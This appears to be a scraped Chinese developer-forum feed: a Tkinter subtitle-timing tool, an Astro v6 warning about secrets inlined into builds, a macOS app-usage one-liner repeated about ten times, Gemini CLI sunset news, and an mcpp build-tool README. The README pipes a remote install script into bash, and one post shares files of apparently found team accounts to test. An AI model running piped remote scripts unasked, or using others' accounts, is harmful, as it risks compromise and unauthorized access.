Python版本 """ 基于音节/字数精确分配时间 """ import re import tkinter as tk from tkinter import ttk, filedialog, messagebox, scrolledtext # ==================== 核心逻辑 ==================== def count_english_syllables(word): w = word.strip('.,;:!?"\'()[]{}').lower() if not w: return 0 vowels = set("aeiouy") count = 0 prev_is_vowel = False for ch in w: is_vowel = ch in vowels if is_vowel and not prev_is_vowel: count += 1 prev_is_vowel = is_vowel if w.endswith("e") and not w.endswith("le") and count > 1: count -= 1 if w.endswith("le") and len(w) > 2 and w[-3] not in vowels: count += 1 return max(count, 1) def count_pronunciation_units(text): total = 0 tokens = re.findall(r'[\u4e00-\u9fff]|[a-zA-Z]+|\d+%?|[^\s]', text) for token in tokens: if re.match(r'[\u4e00-\u9fff]', token): total += 1 elif re.match(r'[a-zA-Z]+', token): total += count_english_syllables(token) elif re.match(r'\d+%?', token): digits = token.replace('%', '') total += min(len(digits) + 1, 5) return total def split_sentences(text): parts = re.split(r'(?<=[.,;])\s+', text) return [p.strip() for p in parts if p.strip()] def ms_to_parts(ms): total_sec = ms / 1000 m = int(total_sec // 60) s = total_sec - m * 60 return m, s def fmt_lyrics3(ms): m, s = ms_to_parts(ms) return f"[{m:02d}:{s:05.2f}]" def fmt_srt(ms): m, s = ms_to_parts(ms) return f"{m:02d}:{s:05.2f}".replace(".", ",") def fmt_ass(ms): m, s = ms_to_parts(ms) h = m // 60 m = m % 60 return f"{h}:{m:02d}:{s:05.2f}" def fmt_vtt(ms): m, s = ms_to_parts(ms) return f"{m:02d}:{s:06.3f}" def generate_subtitles(text, total_seconds, fmt="lyrics3"): total_ms = float(total_seconds) * 1000 sentences = split_sentences(text) if not sentences: return "", 0 units_per_sentence = [count_pronunciation_units(s) for s in sentences] total_units = sum(units_per_sentence) if total_units == 0: return "", 0 ms_per_unit = total_ms / total_units timings = [] cur = 0.0 for i, s in enumerate(sentences): dur = units_per_sentence[i] * ms_per_unit timings.append((cur, cur + dur, s)) cur += dur formatters = {"lyrics3": fmt_lyrics3, "srt": fmt_srt, "ass": fmt_ass, "vtt": fmt_vtt} f = formatters.get(fmt, fmt_lyrics3) lines = [] if fmt == "vtt": lines.append("WEBVTT\n") elif fmt == "ass": lines.append("[Script Info]") lines.append("ScriptType: v4.00+") lines.append("PlayResX: 384") lines.append("PlayResY: 288\n") lines.append("[V4+ Styles]") lines.append("Format: Name, Fontname, Fontsize, PrimaryColour, SecondaryColour, OutlineColour, BackColour, Bold, Italic, Underline, StrikeOut, ScaleX, ScaleY, Spacing, Angle, BorderStyle, Outline, Shadow, Alignment, MarginL, MarginR, MarginV, Encoding") lines.append("Style: Default,Arial,20,&H00FFFFFF,&H000000FF,&H00000000,&H00000000,0,0,0,0,100,100,0,0,1,2,2,2,10,10,10,1\n") lines.append("[Events]") lines.append("Format: Layer, Start, End, Style, Name, MarginL, MarginR, MarginV, Effect, Text") for i, (start, end, sent) in enumerate(timings): if fmt == "srt": lines.append(str(i + 1)) lines.append(f"{f(start)} --> {f(end)}") lines.append(sent) lines.append("") elif fmt == "ass": lines.append(f"Dialogue: 0,{f(start)},{f(end)},Default,,0,0,0,,{sent}") elif fmt == "vtt": lines.append(f"{f(start)} --> {f(end)}") lines.append(sent) lines.append("") else: lines.append(f"{f(start)}{sent}") return "\n".join(lines), len(sentences) # ==================== GUI ==================== class SubtitleApp: def __init__(self, root): self.root = root self.root.title("字幕时间轴生成器") self.root.geometry("900x720") self.root.configure(bg="#1e1e2e") self.root.minsize(700, 550) # 样式 style = ttk.Style() style.theme_use("clam") style.configure("TFrame", background="#1e1e2e") style.configure("TLabel", background="#1e1e2e", foreground="#cdd6f4", font=("Segoe UI", 11)) style.configure("TButton", background="#45475a", foreground="#cdd6f4", font=("Segoe UI", 10), borderwidth=0, padding=8) style.map("TButton", background=[("active", "#585b70")]) style.configure("TEntry", fieldbackground="#313244", foreground="#cdd6f4", font=("Segoe UI", 11), padding=6) style.configure("TCombobox", fieldbackground="#313244", foreground="#cdd6f4", font=("Segoe UI", 11), padding=4) self.build_ui() def build_ui(self): # 主容器 main = ttk.Frame(self.root, padding=20) main.pack(fill="both", expand=True) # 标题 title = tk.Label(main, text="🎬 字幕时间轴生成器", font=("Segoe UI", 20, "bold"), bg="#1e1e2e", fg="#cba6f7") title.pack(pady=(0, 5)) subtitle = tk.Label(main, text="基于音节/字数精确分配时间 · 支持中英混合", font=("Segoe UI", 10), bg="#1e1e2e", fg="#6c7086") subtitle.pack(pady=(0, 20)) # 输入区域 input_frame = ttk.Frame(main) input_frame.pack(fill="both", expand=True) lbl_input = tk.Label(input_frame, text="📝 输入文本(按句号/逗号/分号自动分句)", font=("Segoe UI", 11, "bold"), bg="#1e1e2e", fg="#a6adc8") lbl_input.pack(anchor="w") self.text_input = scrolledtext.ScrolledText( input_frame, height=10, font=("Segoe UI", 11), bg="#313244", fg="#cdd6f4", insertbackground="#cdd6f4", relief="flat", borderwidth=0, padx=12, pady=12, wrap=tk.WORD, highlightthickness=1, highlightbackground="#45475a" ) self.text_input.pack(fill="both", expand=True, pady=(5, 15)) # 设置行 settings_frame = ttk.Frame(main) settings_frame.pack(fill="x", pady=(0, 15)) # 时长 dur_frame = ttk.Frame(settings_frame) dur_frame.pack(side="left", padx=(0, 30)) ttk.Label(dur_frame, text="⏱ 总时长(秒)").pack(side="left", padx=(0, 8)) self.duration_var = tk.StringVar(value="73") self.duration_entry = ttk.Entry(dur_frame, textvariable=self.duration_var, width=10) self.duration_entry.pack(side="left") # 格式 fmt_frame = ttk.Frame(settings_frame) fmt_frame.pack(side="left", padx=(0, 30)) ttk.Label(fmt_frame, text="📄 输出格式").pack(side="left", padx=(0, 8)) self.format_var = tk.StringVar(value="lyrics3") fmt_combo = ttk.Combobox(fmt_frame, textvariable=self.format_var, values=["lyrics3", "srt", "ass", "vtt"], state="readonly", width=10) fmt_combo.pack(side="left") # 统计 self.stats_var = tk.StringVar(value="分句: 0 句 | 总发音单位: 0") stats_label = tk.Label(settings_frame, textvariable=self.stats_var, font=("Segoe UI", 10), bg="#1e1e2e", fg="#6c7086") stats_label.pack(side="right") # 按钮 btn_frame = ttk.Frame(main) btn_frame.pack(fill="x", pady=(0, 15)) self.btn_generate = tk.Button( btn_frame, text="✨ 生成字幕", font=("Segoe UI", 12, "bold"), bg="#cba6f7", fg="#1e1e2e", activebackground="#b4befe", activeforeground="#1e1e2e", relief="flat", borderwidth=0, padx=24, pady=10, cursor="hand2", command=self.on_generate ) self.btn_generate.pack(side="left", padx=(0, 10)) self.btn_copy = tk.Button( btn_frame, text="📋 复制全部", font=("Segoe UI", 11), bg="#45475a", fg="#cdd6f4", activebackground="#585b70", activeforeground="#cdd6f4", relief="flat", borderwidth=0, padx=20, pady=10, cursor="hand2", command=self.on_copy ) self.btn_copy.pack(side="left", padx=(0, 10)) self.btn_save = tk.Button( btn_frame, text="💾 保存文件", font=("Segoe UI", 11), bg="#45475a", fg="#cdd6f4", activebackground="#585b70", activeforeground="#cdd6f4", relief="flat", borderwidth=0, padx=20, pady=10, cursor="hand2", command=self.on_save ) self.btn_save.pack(side="left") # 输出区域 output_frame = ttk.Frame(main) output_frame.pack(fill="both", expand=True) lbl_output = tk.Label(output_frame, text="📤 生成结果", font=("Segoe UI", 11, "bold"), bg="#1e1e2e", fg="#a6adc8") lbl_output.pack(anchor="w") self.text_output = scrolledtext.ScrolledText( output_frame, height=12, font=("Cascadia Code", 10), bg="#11111b", fg="#a6e3a1", insertbackground="#a6e3a1", relief="flat", borderwidth=0, padx=12, pady=12, wrap=tk.NONE, highlightthickness=1, highlightbackground="#45475a" ) self.text_output.pack(fill="both", expand=True, pady=(5, 0)) def on_generate(self): text = self.text_input.get("1.0", "end-1c").strip() if not text: messagebox.showwarning("提示", "请先输入文本。") return try: duration = float(self.duration_var.get()) if duration <= 0: raise ValueError except ValueError: messagebox.showwarning("提示", "请输入有效的正数时长(秒)。") return fmt = self.format_var.get() result, count = generate_subtitles(text, duration, fmt) self.text_output.delete("1.0", "end") if result: self.text_output.insert("1.0", result) total_units = sum(count_pronunciation_units(s) for s in split_sentences(text)) self.stats_var.set(f"分句: {count} 句 | 总发音单位: {total_units}") def on_copy(self): result = self.text_output.get("1.0", "end-1c").strip() if result: self.root.clipboard_clear() self.root.clipboard_append(result) messagebox.showinfo("提示", "已复制到剪贴板!") def on_save(self): result = self.text_output.get("1.0", "end-1c").strip() if not result: messagebox.showwarning("提示", "没有可保存的内容,请先生成字幕。") return fmt = self.format_var.get() exts = {"lyrics3": ".txt", "srt": ".srt", "ass": ".ass", "vtt": ".vtt"} ext = exts.get(fmt, ".txt") path = filedialog.asksaveasfilename( defaultextension=ext, filetypes=[(f"{fmt.upper()} 字幕", f"*{ext}"), ("所有文件", "*.*")] ) if path: with open(path, "w", encoding="utf-8") as f: f.write(result) messagebox.showinfo("提示", f"已保存到:{path}") if __name__ == "__main__": root = tk.Tk() app = SubtitleApp(root) root.mainloop() HTML版本 3 个帖子 - 3 位参与者 阅读完整话题
如题,捡来得team,看看还有哪些能使用 sub2api_import_01.txt (51.4 KB) sub2api_import_02.txt (51.4 KB) 1 个帖子 - 1 位参与者 阅读完整话题
之前升级v6没注意这个,结果发现数据库密码内联到了dist里,非常的诧异。结果发现是v6改了行为: Docs Changed: import.meta.env values are always inlined - Upgrade to Astro v6 In Astro 5.13, the experimental.staticImportMetaEnv flag was introduced to update the behavior when accessing import.meta.env directly to align with Vite’s handling of environment variables and ensures that import.meta.env values are always inlined.... In Astro 5.13, the experimental.staticImportMetaEnv flag was introduced to update the behavior when accessing import.meta.env directly to align with Vite’s handling of environment variables and ensures that import.meta.env values are always inlined. In Astro 5.x, non-public environment variables were replaced by a reference to process.env. Additionally, Astro could also convert the value type of your environment variables used through import.meta.env, which could prevent access to some values such as the strings “true” (which was converted to a boolean value), and “1” (which was converted to a number). Astro 6 removes this experimental flag and makes this the new default behavior in Astro: import.meta.env values are always inlined and never coerced. 也就是之前5.x,非公开变量(不是PUBLIC_开头的),你用 import.meta.env 使用他会变成 process.env ,这个行为很符合直觉,后端用的变量应该在运行时动态取,但是这样的话有点污染 import.meta.env 本身,v6改成了全部都走内联。 也就是 假设你在代码里写了: const db = drizzle(import.meta.env.DATABASE_URL); 那么在build时提供了系统环境变量或者 .env 的时候,且值是 mysql://user:password@localhost:3306/db ,它最终的dist会变成(也就是直接inline替换了): const db = drizzle("mysql://user:password@localhost:3306/db"); 但是如果你改成用 process.env ,Astro会处理它自己的 import.meta.env ,但不会帮你把 .env 自动变成系统环境变量(也就是不做任何处理的话, process.env 无法获取 .env 定义的内容)。 生产环境用Docker之类的问题不大,本来就应该通过环境变量的方式注入到容器里;本地dev时最简单的做法就是手动用 dotenv ,例如直接写到 astro.config.mjs 里: // @ts-check import { defineConfig } from "astro/config"; import tailwindcss from "@tailwindcss/vite"; import react from "@astrojs/react"; import node from "@astrojs/node"; import "dotenv/config"; // <- 添加这一行 // https://astro.build/config export default defineConfig({ vite: { plugins: [tailwindcss()], }, integrations: [react()], adapter: node({ mode: "standalone", }), }); 升级v6并且之前使用 import.meta.env 引入后端用的变量的建议看看,就是怕密码随着dist漏出去。 1 个帖子 - 1 位参与者 阅读完整话题
python3 -c "import os, subprocess, re; mdfind = subprocess.run([\"mdfind\", \"-onlyin\", \"/Applications\", \"kMDItemContentType == 'com.apple.application-bundle' && kMDItemLastUsedDate >= '\$time.now(-30d)'\"], capture_output=True, text=True).stdout.splitlines(); blocklist = re.compile(r'^(google|widgetwall|shadowrocket|alfred|updatest|macupdater|snipaste|tot|chronoid|helper|updater|crashreporter|service|extension)$', re.I); apps = {}; [apps.update({os.path.basename(p).replace('.app',''): int(subprocess.run([\"mdls\", \"-name\", \"kMDItemUseCount\", \"-raw\", p], capture_output=True, text=True).stdout.strip() or 0)}) for p in mdfind if os.path.exists(p) and not blocklist.match(os.path.basename(p).replace('.app','').strip())]; sorted_apps = sorted([k for k, v in apps.items() if v > 0], key=lambda x: apps[x], reverse=True)[:30]; [print(p) for p in sorted_apps]" | pbcopy 在终端执行后, 在回帖中直接 粘贴(Cmd + V); 可 二次编辑 补充后发布 不放心 命令效果 借助 AI 审核下. 作用就是:清洗掉常驻后台的小工具、代理和更新器 ,获取常用软件 并 终端不会在屏幕上刷屏,而是会静默将洗干净的 30 款核心应用名称列表直接复制到你的剪切板中. 大家手动整理 费时费力,直接 拉取出来就知道 最常用的是哪些软件. 有一定的参考价值 默认拉取 30 条, 可直接修改数字.
python3 -c "import os, subprocess, re; mdfind = subprocess.run([\"mdfind\", \"-onlyin\", \"/Applications\", \"kMDItemContentType == 'com.apple.application-bundle' && kMDItemLastUsedDate >= '\$time.now(-30d)'\"], capture_output=True, text=True).stdout.splitlines(); blocklist = re.compile(r'^(google|widgetwall|shadowrocket|alfred|updatest|macupdater|snipaste|tot|chronoid|helper|updater|crashreporter|service|extension)$', re.I); apps = {}; [apps.update({os.path.basename(p).replace('.app',''): int(subprocess.run([\"mdls\", \"-name\", \"kMDItemUseCount\", \"-raw\", p], capture_output=True, text=True).stdout.strip() or 0)}) for p in mdfind if os.path.exists(p) and not blocklist.match(os.path.basename(p).replace('.app','').strip())]; sorted_apps = sorted([k for k, v in apps.items() if v > 0], key=lambda x: apps[x], reverse=True)[:30]; [print(p) for p in sorted_apps]" | pbcopy 在终端执行后, 在回帖中直接 粘贴(Cmd + V); 可 二次编辑 补充后发布 不放心 命令效果 借助 AI 审核下. 作用就是:清洗掉常驻后台的小工具、代理和更新器 ,获取常用软件 并 终端不会在屏幕上刷屏,而是会静默将洗干净的 30 款核心应用名称列表直接复制到你的剪切板中. 大家手动整理 费时费力,直接 拉取出来就知道 最常用的是哪些软件. 有一定的参考价值 默认拉取 30 条, 可直接修改数字.
python3 -c "import os, subprocess, re; mdfind = subprocess.run([\"mdfind\", \"-onlyin\", \"/Applications\", \"kMDItemContentType == 'com.apple.application-bundle' && kMDItemLastUsedDate >= '\$time.now(-30d)'\"], capture_output=True, text=True).stdout.splitlines(); blocklist = re.compile(r'^(google|widgetwall|shadowrocket|alfred|updatest|macupdater|snipaste|tot|chronoid|helper|updater|crashreporter|service|extension)$', re.I); apps = {}; [apps.update({os.path.basename(p).replace('.app',''): int(subprocess.run([\"mdls\", \"-name\", \"kMDItemUseCount\", \"-raw\", p], capture_output=True, text=True).stdout.strip() or 0)}) for p in mdfind if os.path.exists(p) and not blocklist.match(os.path.basename(p).replace('.app','').strip())]; sorted_apps = sorted([k for k, v in apps.items() if v > 0], key=lambda x: apps[x], reverse=True)[:30]; [print(p) for p in sorted_apps]" | pbcopy 在终端执行后, 在回帖中直接 粘贴(Cmd + V); 可 二次编辑 补充后发布 不放心 命令效果 借助 AI 审核下. 作用就是:清洗掉常驻后台的小工具、代理和更新器 ,获取常用软件 并 终端不会在屏幕上刷屏,而是会静默将洗干净的 30 款核心应用名称列表直接复制到你的剪切板中. 大家手动整理 费时费力,直接 拉取出来就知道 最常用的是哪些软件. 有一定的参考价值 默认拉取 30 条, 可直接修改数字.
python3 -c "import os, subprocess, re; mdfind = subprocess.run([\"mdfind\", \"-onlyin\", \"/Applications\", \"kMDItemContentType == 'com.apple.application-bundle' && kMDItemLastUsedDate >= '\$time.now(-30d)'\"], capture_output=True, text=True).stdout.splitlines(); blocklist = re.compile(r'^(google|widgetwall|shadowrocket|alfred|updatest|macupdater|snipaste|tot|chronoid|helper|updater|crashreporter|service|extension)$', re.I); apps = {}; [apps.update({os.path.basename(p).replace('.app',''): int(subprocess.run([\"mdls\", \"-name\", \"kMDItemUseCount\", \"-raw\", p], capture_output=True, text=True).stdout.strip() or 0)}) for p in mdfind if os.path.exists(p) and not blocklist.match(os.path.basename(p).replace('.app','').strip())]; sorted_apps = sorted([k for k, v in apps.items() if v > 0], key=lambda x: apps[x], reverse=True)[:30]; [print(p) for p in sorted_apps]" | pbcopy 在终端执行后, 在回帖中直接 粘贴(Cmd + V); 可 二次编辑 补充后发布 不放心 命令效果 借助 AI 审核下. 作用就是:清洗掉常驻后台的小工具、代理和更新器 ,获取常用软件 并 终端不会在屏幕上刷屏,而是会静默将洗干净的 30 款核心应用名称列表直接复制到你的剪切板中. 大家手动整理 费时费力,直接 拉取出来就知道 最常用的是哪些软件. 有一定的参考价值 默认拉取 30 条, 可直接修改数字.
python3 -c "import os, subprocess, re; mdfind = subprocess.run([\"mdfind\", \"-onlyin\", \"/Applications\", \"kMDItemContentType == 'com.apple.application-bundle' && kMDItemLastUsedDate >= '\$time.now(-30d)'\"], capture_output=True, text=True).stdout.splitlines(); blocklist = re.compile(r'^(google|widgetwall|shadowrocket|alfred|updatest|macupdater|snipaste|tot|chronoid|helper|updater|crashreporter|service|extension)$', re.I); apps = {}; [apps.update({os.path.basename(p).replace('.app',''): int(subprocess.run([\"mdls\", \"-name\", \"kMDItemUseCount\", \"-raw\", p], capture_output=True, text=True).stdout.strip() or 0)}) for p in mdfind if os.path.exists(p) and not blocklist.match(os.path.basename(p).replace('.app','').strip())]; sorted_apps = sorted([k for k, v in apps.items() if v > 0], key=lambda x: apps[x], reverse=True)[:30]; [print(p) for p in sorted_apps]" | pbcopy 在终端执行后, 在回帖中直接 粘贴(Cmd + V); 可 二次编辑 补充后发布 不放心 命令效果 借助 AI 审核下. 作用就是:清洗掉常驻后台的小工具、代理和更新器 ,获取常用软件 并 终端不会在屏幕上刷屏,而是会静默将洗干净的 30 款核心应用名称列表直接复制到你的剪切板中. 大家手动整理 费时费力,直接 拉取出来就知道 最常用的是哪些软件. 有一定的参考价值 默认拉取 30 条, 可直接修改数字.
python3 -c "import os, subprocess, re; mdfind = subprocess.run([\"mdfind\", \"-onlyin\", \"/Applications\", \"kMDItemContentType == 'com.apple.application-bundle' && kMDItemLastUsedDate >= '\$time.now(-30d)'\"], capture_output=True, text=True).stdout.splitlines(); blocklist = re.compile(r'^(google|widgetwall|shadowrocket|alfred|updatest|macupdater|snipaste|tot|chronoid|helper|updater|crashreporter|service|extension)$', re.I); apps = {}; [apps.update({os.path.basename(p).replace('.app',''): int(subprocess.run([\"mdls\", \"-name\", \"kMDItemUseCount\", \"-raw\", p], capture_output=True, text=True).stdout.strip() or 0)}) for p in mdfind if os.path.exists(p) and not blocklist.match(os.path.basename(p).replace('.app','').strip())]; sorted_apps = sorted([k for k, v in apps.items() if v > 0], key=lambda x: apps[x], reverse=True)[:30]; [print(p) for p in sorted_apps]" | pbcopy 在终端执行后, 在回帖中直接 粘贴(Cmd + V); 可 二次编辑 补充后发布 不放心 命令效果 借助 AI 审核下. 作用就是:清洗掉常驻后台的小工具、代理和更新器 ,获取常用软件 并 终端不会在屏幕上刷屏,而是会静默将洗干净的 30 款核心应用名称列表直接复制到你的剪切板中. 大家手动整理 费时费力,直接 拉取出来就知道 最常用的是哪些软件. 有一定的参考价值 默认拉取 30 条, 可直接修改数字.
python3 -c "import os, subprocess, re; mdfind = subprocess.run([\"mdfind\", \"-onlyin\", \"/Applications\", \"kMDItemContentType == 'com.apple.application-bundle' && kMDItemLastUsedDate >= '\$time.now(-30d)'\"], capture_output=True, text=True).stdout.splitlines(); blocklist = re.compile(r'^(google|widgetwall|shadowrocket|alfred|updatest|macupdater|snipaste|tot|chronoid|helper|updater|crashreporter|service|extension)$', re.I); apps = {}; [apps.update({os.path.basename(p).replace('.app',''): int(subprocess.run([\"mdls\", \"-name\", \"kMDItemUseCount\", \"-raw\", p], capture_output=True, text=True).stdout.strip() or 0)}) for p in mdfind if os.path.exists(p) and not blocklist.match(os.path.basename(p).replace('.app','').strip())]; sorted_apps = sorted([k for k, v in apps.items() if v > 0], key=lambda x: apps[x], reverse=True)[:30]; [print(p) for p in sorted_apps]" | pbcopy 在终端执行后, 在回帖中直接 粘贴(Cmd + V); 可 二次编辑 补充后发布 不放心 命令效果 借助 AI 审核下. 作用就是:清洗掉常驻后台的小工具、代理和更新器 ,获取常用软件 并 终端不会在屏幕上刷屏,而是会静默将洗干净的 30 款核心应用名称列表直接复制到你的剪切板中. 大家手动整理 费时费力,直接 拉取出来就知道 最常用的是哪些软件. 有一定的参考价值 默认拉取 30 条, 可直接修改数字.
python3 -c "import os, subprocess, re; mdfind = subprocess.run([\"mdfind\", \"-onlyin\", \"/Applications\", \"kMDItemContentType == 'com.apple.application-bundle' && kMDItemLastUsedDate >= '\$time.now(-30d)'\"], capture_output=True, text=True).stdout.splitlines(); blocklist = re.compile(r'^(google|widgetwall|shadowrocket|alfred|updatest|macupdater|snipaste|tot|chronoid|helper|updater|crashreporter|service|extension)$', re.I); apps = {}; [apps.update({os.path.basename(p).replace('.app',''): int(subprocess.run([\"mdls\", \"-name\", \"kMDItemUseCount\", \"-raw\", p], capture_output=True, text=True).stdout.strip() or 0)}) for p in mdfind if os.path.exists(p) and not blocklist.match(os.path.basename(p).replace('.app','').strip())]; sorted_apps = sorted([k for k, v in apps.items() if v > 0], key=lambda x: apps[x], reverse=True)[:30]; [print(p) for p in sorted_apps]" | pbcopy 在终端执行后, 在回帖中直接 粘贴(Cmd + V); 可 二次编辑 补充后发布 不放心 命令效果 借助 AI 审核下. 作用就是:清洗掉常驻后台的小工具、代理和更新器 ,获取常用软件 并 终端不会在屏幕上刷屏,而是会静默将洗干净的 30 款核心应用名称列表直接复制到你的剪切板中. 大家手动整理 费时费力,直接 拉取出来就知道 最常用的是哪些软件. 有一定的参考价值 默认拉取 30 条, 可直接修改数字.
python3 -c "import os, subprocess, re; mdfind = subprocess.run([\"mdfind\", \"-onlyin\", \"/Applications\", \"kMDItemContentType == 'com.apple.application-bundle' && kMDItemLastUsedDate >= '\$time.now(-30d)'\"], capture_output=True, text=True).stdout.splitlines(); blocklist = re.compile(r'^(google|widgetwall|shadowrocket|alfred|updatest|macupdater|snipaste|tot|chronoid|helper|updater|crashreporter|service|extension)$', re.I); apps = {}; [apps.update({os.path.basename(p).replace('.app',''): int(subprocess.run([\"mdls\", \"-name\", \"kMDItemUseCount\", \"-raw\", p], capture_output=True, text=True).stdout.strip() or 0)}) for p in mdfind if os.path.exists(p) and not blocklist.match(os.path.basename(p).replace('.app','').strip())]; sorted_apps = sorted([k for k, v in apps.items() if v > 0], key=lambda x: apps[x], reverse=True)[:30]; [print(p) for p in sorted_apps]" | pbcopy 在终端执行后, 在回帖中直接 粘贴(Cmd + V); 可 二次编辑 补充后发布 不放心 命令效果 借助 AI 审核下. 作用就是:清洗掉常驻后台的小工具、代理和更新器 ,获取常用软件 并 终端不会在屏幕上刷屏,而是会静默将洗干净的 30 款核心应用名称列表直接复制到你的剪切板中. 大家手动整理 费时费力,直接 拉取出来就知道 最常用的是哪些软件. 有一定的参考价值 默认拉取 30 条, 可直接修改数字.
python3 -c "import os, subprocess, re; mdfind = subprocess.run([\"mdfind\", \"-onlyin\", \"/Applications\", \"kMDItemContentType == 'com.apple.application-bundle' && kMDItemLastUsedDate >= '\$time.now(-30d)'\"], capture_output=True, text=True).stdout.splitlines(); blocklist = re.compile(r'^(google|widgetwall|shadowrocket|alfred|updatest|macupdater|snipaste|tot|chronoid|helper|updater|crashreporter|service|extension)$', re.I); apps = {}; [apps.update({os.path.basename(p).replace('.app',''): int(subprocess.run([\"mdls\", \"-name\", \"kMDItemUseCount\", \"-raw\", p], capture_output=True, text=True).stdout.strip() or 0)}) for p in mdfind if os.path.exists(p) and not blocklist.match(os.path.basename(p).replace('.app','').strip())]; sorted_apps = sorted([k for k, v in apps.items() if v > 0], key=lambda x: apps[x], reverse=True)[:30]; [print(p) for p in sorted_apps]" | pbcopy 在终端执行后, 在回帖中直接 粘贴(Cmd + V); 可 二次编辑 补充后发布 不放心 命令效果 借助 AI 审核下. 作用就是:清洗掉常驻后台的小工具、代理和更新器 ,获取常用软件 并 终端不会在屏幕上刷屏,而是会静默将洗干净的 30 款核心应用名称列表直接复制到你的剪切板中. 大家手动整理 费时费力,直接 拉取出来就知道 最常用的是哪些软件. 有一定的参考价值 默认拉取 30 条, 可直接修改数字.
Gemini CLI 在6月18日停止运营,开发者必须迁移到反重力 CLI https://developers.googleblog.com/an-important-update-transitioning-gemini-cli-to-antigravity-cli/ 3 个帖子 - 3 位参与者 阅读完整话题
developers.googleblog.com An important update: Transitioning Gemini CLI to Antigravity CLI- Google... Announcement for the sunsetting of Gemini CLI in favor of Antigravity CLI, a more robust, agent-first platform designed to handle the multi-agent complexities of 2026. 据悉,从2026年6月18日开始,Gemini CLI将对个人暂停服务,取而代之的是Antigravity CLI。 Antigravity CLI由Go语言开发,与Antigravity 2.0共享相同的后端架构。 10 个帖子 - 7 位参与者 阅读完整话题
从去年 gcc 15.1 初步支持 import std 开始, 我就在 C++的模块化上做了很多实践 前段时间, 突然产生了以 C++23 模块化为基础, 实现一个现代 C++模块化项目的构建工具 。并以其能用自己从源码构建出自己也就是所谓的 自举来做为初步目标 , 目前这个目标已经实现 欢迎对现代 C++和模块化感兴趣的朋友来用, mcpp 构建工具使用模块化特性 玩一玩或开发开发小项目 也欢迎大家来反馈和交流 开源仓库: https://github.com/mcpp-community/mcpp mcpp 一个 现代 C++ 模块化构建工具 — 纯 C++23 模块编写,已实现自举 核心特性 C++23 模块原生支持 — import std 自动处理,文件级增量构建,模块依赖自动分析,零手动配置 纯模块化自举 — mcpp 自身由 43+ 个 C++23 模块组成,用自己构建自己,模块系统经实战验证 开箱即用 — 一条命令安装,内置 GCC 16 / LLVM 20 工具链,自动下载到隔离沙盒,不污染系统 集成依赖管理 — SemVer 约束解析、锁文件、跨项目 BMI 缓存、自定义包索引 多包工作空间 — Workspace 统一锁文件与版本管理,适合大型项目 为什么选择 mcpp ? mcpp 专门为 C++23 模块化开发 打造。如果你想在项目中使用 import std 、模块接口单元( .cppm )、模块分区等现代 C++ 特性,mcpp 在 Linux 上能为你提供便捷且友好的开发体验: 默认模块化 — mcpp new 创建的项目模板直接使用 C++23 模块, import std 开箱即用 文件级增量构建 — 基于 P1689 dyndep 的三层优化(前端脏检查 + 逐文件扫描 + BMI restat ),只重编真正变化的模块 一键创建 & 构建 — mcpp new hello && cd hello && mcpp build ,工具链自动安装,无需手动配置编译器和构建系统 模块化生态 — mcpplibs 提供一系列可直接 import 的 C++ 模块化库,支持自定义包索引 注: 早期版本 — mcpp 仍在积极开发中,接口和行为可能在后续版本调整。 欢迎对现代 C++ 模块化构建工具感兴趣的开发者 参与贡献 。 问题 / 反馈 / 想法欢迎在 issues 留言。 快速开始 安装 方式一:使用 xlings 安装(推荐) xlings install mcpp -y 方式二:一键安装脚本 curl -fsSL https://github.com/mcpp-community/mcpp/releases/latest/download/install.sh | bash 安装到 ~/.mcpp/ ,自动加进 shell PATH 。删除 ~/.mcpp 即可干净卸载。 方式三:让 AI 助手帮你安装 将以下提示词复制给你的 AI 编码助手( Claude Code / Cursor / Copilot 等): 阅读 https://github.com/mcpp-community/mcpp 的 README , 帮我安装 mcpp 并创建一个 C++23 模块项目,构建并运行。 项目的 .agents/skills/mcpp-usage/SKILL.md 有详细的使用指南。 创建项目 & 构建运行 mcpp new hello cd hello mcpp build mcpp run 注:首次构建会初始化环境并获取工具链,可能需要一些时间。 项目结构 hello/ ├── mcpp.toml ← 工程描述 └── src/ └── main.cpp ← import std; 直接可用 # mcpp.toml [package] name = "hello" [targets.hello] kind = "bin" main = "src/main.cpp" 使用模块化库 在 mcpp.toml 中添加两行依赖,即可引用 mcpplibs 社区模块化库: [dependencies] cmdline = "0.0.2" 然后在代码中直接 import : import mcpplibs.cmdline; 更多依赖配置方式(版本约束、命名空间、Git 引用、本地路径等)参见 mcpp.toml 指南 — 依赖管理 。 平台支持 OS / arch GCC (glibc) GCC (musl) Clang / LLVM MSVC Linux x86_64 ✅ ✅ 默认 ✅ — Linux aarch64 🔄 🔄 🔄 — macOS — — 🔄 — Windows — — 🔄 🔄 ✅ 已支持 | 🔄 计划中 默认 :release 二进制走 musl 全静态,Linux x86_64 可直接运行,无 glibc 依赖。 文档 快速开始 — 5 分钟完成 install → new → build → run 示例项目 发布打包 工具链管理 从源码构建 mcpp.toml 指南 工作空间 任意命令的完整选项可通过 mcpp <cmd> --help 查阅。 AI 辅助学习 :你可以将以下提示词发给 AI 编码助手,让它帮你快速了解 mcpp: 阅读 https://github.com/mcpp-community/mcpp 仓库的 .agents/skills/mcpp-usage/SKILL.md 和 docs/ 目录下的文档, 告诉我如何用 mcpp 创建一个带依赖的 C++23 模块项目。 参与贡献 欢迎通过 Issue 和 PR 参与项目开发。项目接受开发者使用 AI Agent 参与开发与贡献。 基本流程 创建 Issue — Bug 修复、新功能、优化等,先在 issues 创建讨论 实现改动 — Fork 仓库,创建分支,实现并验证( mcpp build + E2E 测试) 提交 PR — 使用 gh pr create ,确保 CI 通过 CI 必须通过 — CI 不通过的 PR 不会被合入 提交信息规范 : feat: / fix: / test: / docs: / refactor: 前缀 AI Agent 贡献 :项目的 .agents/skills/mcpp-contributing/SKILL.md 提供了完整的 Agent 贡献流程和项目结构说明。将以下提示词发给 AI 助手即可: 阅读 https://github.com/mcpp-community/mcpp 仓库的 .agents/skills/mcpp-contributing/SKILL.md , 按照指南帮我给 mcpp 项目提交一个贡献。 社区 & 生态 社区论坛 — 交流群 (Q: 1067245099) mcpp-index — 默认包索引 mcpplibs — 模块化 C++ 库集合 致谢 项目依赖和灵感来源: xlings — 工具链 / 包管理底座 mcpplibs.cmdline — CLI 框架 ninja — 底层构建引擎 xmake — 跨平台构建工具 cargo — Rust 包管理器
